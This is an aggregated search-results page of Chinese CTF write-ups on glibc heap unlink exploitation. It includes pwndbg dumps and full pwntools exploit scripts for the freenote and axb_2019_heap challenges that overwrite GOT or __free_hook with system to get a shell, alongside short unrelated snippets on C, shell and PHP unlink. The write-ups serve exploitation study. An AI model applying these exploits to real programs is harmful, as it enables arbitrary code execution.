精华内容
下载资源
问答
  • Unlink

    千次阅读 2019-03-03 17:24:19
    unlink是在smallbin被释放的时候的一种操作,是将当前物理内存相邻的free chunk进行合并,简单的讲就是我们在free一个smallchunk的时候,如果它前面或者后面的chunk有空闲的,即in_use位为0时,就将前面或后面的chunk...

    简介

    unlink是在smallbin被释放的时候的一种操作,是将当前物理内存相邻的free chunk进行合并,简单的讲就是我们在free一个smallchunk的时候,如果它前面或者后面的chunk有空闲的,即in_use位为0时,就将前面或后面的chunk连在一起合成一个chunk;
    smallbin的数据结构:prev_size,size,fd,bk;
    因为smallbin被释放后是用双链串在一起的,这就使目前unlink操作时,有一定的检查机制,主要检查我们的双链是否是合法的;
    主要检查fd,bk等指针:

    // fd bk
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    

    在双向链表中,所以有两个地方记录chunk的大小,所以检查一下其大小是否一致:

    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
          malloc_printerr ("corrupted size vs. prev_size");           
    

    unlink操作的简要代码:

    #define unlink(P, BK, FD)
    {
        FD = P->fd;
        BK = P->bk;
        if(FD->bk != P || BK->fd !=p)
        {
            malloc_printerr (check_action, "corrupted d...", P);
        }
        else
        {
            FD->bk = BK;
            BK->fd = FD;
        }
    }
    

    绕过方法

    实际上,我们还是有办法绕过unlink的检查,不过需要有一些条件:

    1. 有一个指向heap内的指针;
    2. 存放这个指针的地址已知(一般这个地址(&p)是全局变量);
    3. 可以对这个指针进行多次写入;
      然后我们想办法修改p的fd和p的bk分别为:
    //64位
    p->fd = &p - 0x18; //fd
    p->bk = &p - 0x10; //bk
    //32位
    p->fd = &p - 12; //fd
    p->bk = &p - 8; //bk
    

    这样我们就可以绕过(FD->bk != P || BK->fd !=p)检测了,当unlink的操作完了之后,我们得到:

    //64位
    p = &p - 0x18//32位
    p = &p - 12;
    

    演示

    我们以JarvisOJ中的freenote_x64来具体演示一下绕过unlink的操作并且熟悉一下smallbin的结构;
    这道题在add函数和edit函数中,真实malloc的size最小都是0x80,也就是我们申请的是smallbin,所以操作的也是samllbin;
    主要漏洞在delete note里:

    void __cdecl delete()
    {
      int i; // [sp+Ch] [bp-4h]@2
    
      if ( chunk_list->number <= 0 )
      {
        puts("No posts yet.");
      }
      else
      {
        printf("Post number: ");
        i = get_num();
        if ( i >= 0 && i < chunk_list->sum )        // 未检查inuse位,double_free
        {
          --chunk_list->number;
          chunk_list->block[i].in_use = 0LL;
          chunk_list->block[i].len = 0LL;
          free(chunk_list->block[i].ptr);           // 指针未清空
          puts("Done.");
        }
        else
        {
          puts("Invalid number!");
        }
      }
    }
    

    还有一个有用的漏洞就是add和edit时,我们输入的字符串没有‘\x00’结尾符,我们输入多大的size就读多少size的字符,没有多余;

    思路

    所以基本思路就是我们先申请4个chunk,然后free(0)和free(2),防止合并;然后在申请2个chunk,只写入8字节,就可以leak出heap和libc的基地址;

    00000000  30 2e 20 71  71 71 71 71  71 71 71 40  c9 6c 0a 310. q│qqqq│qqq@│·l·100000010  2e 20 62 62  62 62 62 62  62 62 0a 32  2e 20 73 73. bb│bbbb│bb·2. ss│
    00000020  73 73 73 73  73 73 b8 07  d4 1c 39 7f  0a 33 2e 20  │ssss│ss··│··9·│·3.00000030  64 64 64 64  64 64 64 64  0a 3d 3d 20  30 6f 70 73  │dddd│dddd│·== │0ops│
    00000040  20 46 72 65  65 20 4e 6f  74 65 20 3d  3d 0a 31 2e  │ Fre│e No│te ==·1.00000050  20 4c 69 73  74 20 4e 6f  74 65 0a 32  2e 20 4e 65  │ Lis│t No│te·2. Ne│
    00000060  77 20 4e 6f  74 65 0a 33  2e 20 45 64  69 74 20 4e  │w No│te·3. Ed│it N│
    00000070  6f 74 65 0a  34 2e 20 44  65 6c 65 74  65 20 4e 6f  │ote·│4. D│elet│e No│
    00000080  74 65 0a 35  2e 20 45 78  69 74 0a 3d  3d 3d 3d 3d  │te·5. Ex│it·=====00000090  3d 3d 3d 3d  3d 3d 3d 3d  3d 3d 3d 3d  3d 3d 3d 0a===============·│
    000000a0  59 6f 75 72  20 63 68 6f  69 63 65 3a  20           │Your│ cho│ice:│ │
    
    s = p.recv()
    lib_addr = u64(s[39:45] + '\x00\x00') - 0x3c27b8
    heap_addr = u64(s[11:15] + '\x00'*4) - 0x1940 + 0x30
    system_addr = lib_addr + libc.symbols['system']
    

    在heap基地址偏移0x30的地方有我们需要的&p:

    pwndbg> x/20gx 0x603000
    0x603000:	0x0000000000000000	 0x0000000000001821
    0x603010:	0x0000000000000100	 0x0000000000000004
    0x603020:	0x0000000000000001	 0x0000000000000004
    0x603030:&p	0x0000000000604830 p 0x0000000000000001
    0x603040:	0x0000000000000002	 0x00000000006048c0
    0x603050:	0x0000000000000001	 0x0000000000000001
    0x603060:	0x0000000000604950	 0x0000000000000001
    0x603070:	0x0000000000000004	 0x00000000006049e0
    0x603080:	0x0000000000000000	 0x0000000000000000
    0x603090:	0x0000000000000000	 0x0000000000000000
    

    有了&p之后我们就可以构造chunk,然后unlink了;
    unlink之后的&p,此时p=&p-0x18:

    pwndbg> x/20gx 0x603000
    0x603000:	0x0000000000000000	 0x0000000000001821
    0x603010:	0x0000000000000100	 0x0000000000000004
    0x603020:	0x0000000000000000	 0x0000000000000000
    0x603030:	0x0000000000603018 p 0x0000000000000001 //p=&p-0x18
    0x603040:	0x0000000000000008	 0x00000000006048c0
    0x603050:	0x0000000000000001	 0x0000000000000001
    0x603060:	0x0000000000604950	 0x0000000000000001
    0x603070:	0x0000000000000004	 0x00000000006049e0
    0x603080:	0x0000000000000000	 0x0000000000000000
    0x603090:	0x0000000000000000	 0x0000000000000000
    

    然后现在我们就可以修改0x0603018地址开始的内容了,然后就可以修改指针达到任意地址写入了;

    EXP

    from pwn import *
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
    #p = process('./freenote')
    p = remote('pwn2.jarvisoj.com', 9886)
    elf= ELF('./freenote')
    libc = ELF('./bc.so.6')
    
    if args.G:
        gdb.attach(p)
    
    def show():
        p.recvuntil('Your choice: ')
        p.sendline('1')
        
    def add(s):
        p.recvuntil('Your choice: ')
        p.sendline('2')
        p.recvuntil('Length of new note: ')
        p.sendline(str(len(s)))
        p.recvuntil('Enter your note: ')
        p.send(s)
    
    def edit(i,s):
        p.recvuntil('Your choice: ')
        p.sendline('3')
        p.recvuntil('Note number: ')
        p.sendline(str(i))
        p.recvuntil('Length of note: ')
        p.sendline(str(len(s)))
        p.recvuntil('Enter your note: ')
        p.send(s)
        
    def delete(i):
        p.recvuntil('Your choice: ')
        p.sendline('4')
        p.recvuntil('Note number: ')
        p.sendline(str(i))
       
    def exit():
        p.recvuntil('Your choice: ')
        p.sendline('5')
    
    add('a'*8)
    add('b'*8)
    add('c'*8)
    add('d'*8)
    
    delete(0)
    delete(2)
    
    add('q'*8)
    add('s'*8)
    #leak
    show()
    s = p.recv()
    lib_addr = u64(s[39:45] + '\x00\x00') - 0x3c27b8
    heap_addr = u64(s[11:15] + '\x00'*4) - 0x1940 + 0x30
    system_addr = lib_addr + libc.symbols['system']
    print "lib_addr: " + hex(lib_addr)
    print "heap_addr: " + hex(heap_addr)
    print "system_addr: " + hex(system_addr)
    
    #unlink
    p.sendline('4')
    p.recvuntil('Note number: ')
    p.sendline('1')
    pay = p64(0x90) + p64(0x80) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10) + 'a'*0x60
    pay+= p64(0x80) + p64(0x90+0x90) + 'b'*0x70
    edit(0,pay)
    delete(1)
    
    #getshell
    payload = p64(2) + p64(1) + p64(100) + p64(heap_addr - 0x18) + p64(1) + p64(0x8) + p64(elf.got['atoi']) 
    payload+= '\x00'*(0x100-len(payload))
    edit(0,payload)
    edit(1,p64(system_addr))
    p.sendline("$0")
    p.interactive()    
    #CTF{de7effd8864f018660e178b96b8b4ffc}
    

    总结

    1.关于这道的基本分析可以参考安全客;
    2.关于unlink的绕过关键就是找&p,然后构造chunk,从而绕过unlink;
    3.这个unlink的操作时,利用的libc的版本是2.26的,所以没有tcache机制;2.26以后的libc是有tcache机制的,所以那个时候释放的smallbin可能为单链,没有unlink的操作,所以要先申请7个chunks,然后释放后将Tcachebins填满,然后再进行其他操作;

    展开全文
  • unlink

    2014-12-04 16:21:03
    函数说明:unlink()会删除参数pathname 指定的文件. 如果该文件名为最后连接点, 但有其他进程打开了此文件, 则在所有关于此文件的文件描述词皆关闭后才会删除. 如果参数pathname 为一符号连接, 则此连
    相关函数:link, rename, remove

    头文件:#include <unistd.h>

    定义函数:int unlink(const char * pathname);

    函数说明:unlink()会删除参数pathname 指定的文件. 如果该文件名为最后连接点, 但有其他进程打开了此文件, 则在所有关于此文件的文件描述词皆关闭后才会删除. 如果参数pathname 为一符号连接, 则此连接会被删除。

    返回值:成功则返回0, 失败返回-1, 错误原因存于errno

    错误代码:
    1、EROFS 文件存在于只读文件系统内。
    2、EFAULT 参数pathname 指针超出可存取内存空间。
    3、ENAMETOOLONG 参数pathname 太长。
    4、ENOMEM 核心内存不足。
    5、ELOOP 参数pathname 有过多符号连接问题。
    6、EIO I/O 存取错误。

    展开全文
  • unlink学习

    2020-04-14 18:46:02
    unlink原理 unlink这种利用方式源于glibc堆管理的一种特性,即当free一个chunk时,若该chunk处于双向链表中,则会检测其相邻块是否空闲,若处于空闲状态,则会将该空闲块从双向链表中取出,然后合并,这个取出操作...

    unlink原理

    unlink这种利用方式源于glibc堆管理的一种特性,即当free一个chunk时,若该chunk处于双向链表中,则会检测其相邻块是否空闲,若处于空闲状态,则会将该空闲块从双向链表中取出,然后合并,这个取出操作就是unlink。unlink其实就是删除双向链表中的目标结点,这个删除过程本质上是对其前后结点的指针重新赋值,若我们对其指针进行巧妙的设置,则可能控制任意内存地址空间,我们会有任意地址改写能力。

    合并

    向前合并:
    查看下一个块是不是空闲的 ,下一个块是空闲的,如果下下个块(距离当前空闲块)的PREV_INUSE§位没有设置。为了访问下下个块,将当前块的大小加到它的块指针,再将下一个块的大小加到下一个块指针。
    如果是空闲的,合并它。
    现在将合并后的块添加到 unsorted bin 中。

    向后合并:
    查看前一个块是不是空闲的 –如果当前空闲块的PREV_INUSE§位没有设置, 则前一个块是空闲的。
    如果空闲,合并它

    基本过程如下:
    在这里插入图片描述

    源码

    利用unlink的时候,有一个检查机制,这就要看看unlink的源码

    #!c
    1413    /* Take a chunk off a bin list */
    1414    #define unlink(AV, P, BK, FD) {                                            
    1415        FD = P->fd;                                                                      
    1416        BK = P->bk;                                                                      
    1417        if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
    1418          malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    1419        else {                                                                      
    1420            FD->bk = BK;                                                              
    1421            BK->fd = FD;                                                              
    1422            if (!in_smallbin_range (P->size)                                      
    1423                && __builtin_expect (P->fd_nextsize != NULL, 0)) {                      
    1424                if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              
    1425                    || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
    1426                  malloc_printerr (check_action,                                      
    1427                                   "corrupted double-linked list (not small)",    
    1428                                   P, AV);                                              
    1429                if (FD->fd_nextsize == NULL) {                                      
    1430                    if (P->fd_nextsize == P)                                      
    1431                      FD->fd_nextsize = FD->bk_nextsize = FD;                      
    1432                    else {                                                              
    1433                        FD->fd_nextsize = P->fd_nextsize;                              
    1434                        FD->bk_nextsize = P->bk_nextsize;                              
    1435                        P->fd_nextsize->bk_nextsize = FD;                              
    1436                        P->bk_nextsize->fd_nextsize = FD;                              
    1437                      }                                                              
    1438                  } else {                                                              
    1439                    P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      
    1440                    P->bk_nextsize->fd_nextsize = P->fd_nextsize;                      
    1441                  }                                                                      
    1442              }                                                                      
    1443          }                                                                              
    1444    }
    1445    
    1446    /*
    

    检查机制

     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
            malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    

    在unlink之前会检查一下当前结点的前一个结点的后一个节点和当前结点的后一个节点的前一个节点是不是同一个结点,要想成功unlink,必须绕过这个检测,一种思路是将chunk->fd设置为(&chunk_addr - 0x18),因为:

    chunk->fd->bk == *(chunk->fd + 0x18) == *(&chunk_addr - 0x18 + 0x18) == chunk_addr
    

    这样就满足了检测条件,同理需要将chunk->bk设置为(&chunk_addr-0x10)。检测之后进行unlink操作

    chunk->bk->fd = chunk->fd ==> *(chunk->bk + 0x10) = chunk->fd
    ==> *(&chunk_addr) = (&chunk_addr - 0x18)
     
    chunk->fd->bk = chunk->bk ==> *(chunk->fd + 0x18) = chunk->bk
    ==> *(&chunk_addr) = (&chunk_addr - 0x10)
    

    由于进行了两次赋值操作,所以只有第二次的有效,这样好像也看不出什么东西。这里我们假设有一个字符串数组strings,其第一个元素为strings[0],是char类型,假设我们已经构造好一个chunk,它满足chunk->fd == &strings[0] - 0x10,chunk->bk == &strings[0] - 0x18,unlink进行strings[0] = &strings[0] - 0x10,若我们本来可以对strings[0]的内容进行修改,那么unlink后我们实际上修改的是&strings[0] - 0x10处,进而覆盖到(&string[0]),若向*(&strings[0])写入目标地址,再进行strings[0]的写操作就能写入数据到目标地址内存中。

    当然,上述利用存在一些细节问题,如string[0]和chunk的地址并非一致,这导致无法绕过检测,所以必须伪造chunk写入string[0]中才行,在具体利用的例子中可以看到如何伪造chunk。

    伪造chunk

    伪造chunk首先我们要知道chunk在free前和free后是不同的状态,这也是chunk的神奇之处。
    在这里插入图片描述
    在这里插入图片描述
    正常情况下unlink之后会把P从双链表中解链,如果我们伪造了一个chunk,将fd=mem-0x18,bk=mem-0x10就可以绕过这个检查,还有一个要注意的是伪造chunk的fake_size位的最后一个标志为P的设置,size的最后一个标志位P表示了前一个chunk的使用状态,P=1表示前一个chunk处于使用状态,P=0表示前一个chunk处于空闲状态,我们通过控制P位就可以控制合并,当我们将FD=mem-0x18,BK=mem-0x10时,就表示我们已经拥有了任意地址写的能力,例如我们用合适的payload将[email protected]写入。p就变成了[email protected],那么再改一次p,把[email protected]改为shellcode的地址或者说system的地址都可以。之后再调用free功能,就可以任意命令执行。

    展开全文
  • unlink命令用于系统调用函数unlink去删除指定的文件。和rm命令作用一样 ,都是删除文件。 语法格式:unlink [参数] 常用参数: –help 显示帮助 –version 显示版本号 参考实例 删除test文件: [root@...
  • pwn unlink

    2019-12-11 22:42:52
    unlink需要gobal变量然后可以写入多次,全局变量在heap上面 unlink的宏 p->fd=FD p->bk=BK if p->fd->bk!=p || p-bk-fd!=p worry else FD->bk=BK &p-0x18 BK->fd=FD &p-0x10 ...

    unlink需要gobal变量然后可以写入多次,全局变量在heap上面
    unlink的宏

    p->fd=FD
    p->bk=BK
    if p->fd->bk!=p || p-bk-fd!=p
    worry
    else
    FD->bk=BK   &p-0x18
    BK->fd=FD    &p-0x10
    

    如上可以绕过检查result:&p=&p-0x18
    如BUUCTF上的axb_heap
    即可使用unlink写到下一个chunk的size的insue位然释放再次编辑堆块的时候写入到上个堆块,再编辑上个堆块即可写入free_hook给system释放布置好的堆块即可拿到shell
    exp:

    from pwn import *
    local=0
    if local==1:
    	p=process('./axb_2019_heap')
    	libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    else:
    	p=remote('node3.buuoj.cn',25791)
    	libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    def add(idx,size,content):
    	p.sendlineafter('option:','1')
    	p.sendlineafter('(0-10):',str(idx))
    	p.sendlineafter('size',str(size))
    	p.sendlineafter('content:',content)
    
    def delete(idx):
    	p.sendlineafter('option:','2')
    	p.sendlineafter('index:',str(idx))
    
    def edit(idx,content):
    	p.sendlineafter('option:','4')
    	p.sendlineafter('index:',str(idx))
    	p.sendlineafter('content:',content)
    
    def exp():
    	p.recvuntil('name: ')
    	p.sendline("%4$p%11$p")
    	p.recvuntil('Hello, ')
    	libcbase=int(p.recv(14),16)-0x5ed700+0x19000
    	base=int(p.recv(14),16)-0x1186
    	log.success('libcbase: '+hex(libcbase))
    	log.success('base: '+hex(base))
    	system_addr=libcbase+libc.sym['system']
    	o_g=[0x45216,0x4526a,0xf02a4,0xf1147]
    	one_gadget=libcbase+o_g[0]
    	#unlink
    	add(0,0x88,'/bin/sh\x00\n')     
    	add(1,0x88,'b\n')     
    	add(2,0x88,'c\n') 
     	add(3,0x88,'d\n')     
    	add(4,0xf8,'e\n')     
    	add(5,0x88,'f\n')     
    	payload = "\x00"*0x10     
    	payload += p64(base+0x202090-0x18)+p64(base+0x202090-0x10)     
    	payload = payload.ljust(0x80,'\x00')     
    	payload += p64(0x80)     
    	edit(3,payload+'\x90')     
    	delete(4)     edit(3,p64(0x88)+p64(libcbase+libc.symbols['__free_hook'])+p64(0x8))
    	edit(2,p64(system_addr)+'\n')
    	#gdb.attach(p,'b *$rebase(0x0F88)')     
    	p.sendlineafter('option:','2')
    	p.sendlineafter('index:',str(0))
    	p.interactive()
    if __name__=="__main__":
    	exp()
    
    展开全文
  • php unlink 删除问题在删除图片时例如:unlink(‘abcdef.jpg’);这样可以删除正常;但是文件名从数据库读取时就不能...提示信息:Warning: unlink(user_logo/d4d84f383714d5f3.jpg) [function.unlink]: No such f...
  • Unlink-crx插件

    2021-04-04 19:26:48
    语言:English ...在https://github.com/berezovskyi/chrome-unlink上欢迎错误报告以及请求请求。 Freepik(http://www.freepik.com)从www.flaticon.com制作的图标已根据Creative Commons BY 3.0许可使用
  • unlink快速入门

    千次阅读 2020-11-12 11:13:43
    0x01 正常unlink 当一个bin从记录bin的双向链表中被取下时,会触发unlink。常见的比如:相邻空闲bin进行合并,malloc_consolidate时。unlink的过程如下图所示(来自CTFWIKI)主要包含3个步骤,就是这么简单。 根据p...
  • unlink作用删除文件,unlink($path),下面来看看关于删除文件实现吧,好了费话不说多了先看看实例再说。public function removePic($pic){if(@unlink($this->path.$pic) && @unlink($this->path.str_...
  • unlink - pwnable

    2019-09-30 00:06:14
    预习知识 什么是unlinked ...unlink漏洞条件 有3个以上的空闲chunk链表,其中最前面的chunk存在有堆溢出 unlink的触发 当使用free函数释放正在使用的chunk时,会相应地检查其相邻的chunk是否空闲...
  • linux-unlink

    2019-07-01 11:13:05
    Linux下unlink函数的使用一、头文件 #include<unistd.h> 二、函数原型int unlink(const char *pathname); 三、函数介绍unlink()函数功能即为删除文件。执行unlink()函数会删除所给参数指定的文件。 注意: ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 63,680
精华内容 25,472
关键字:

unlink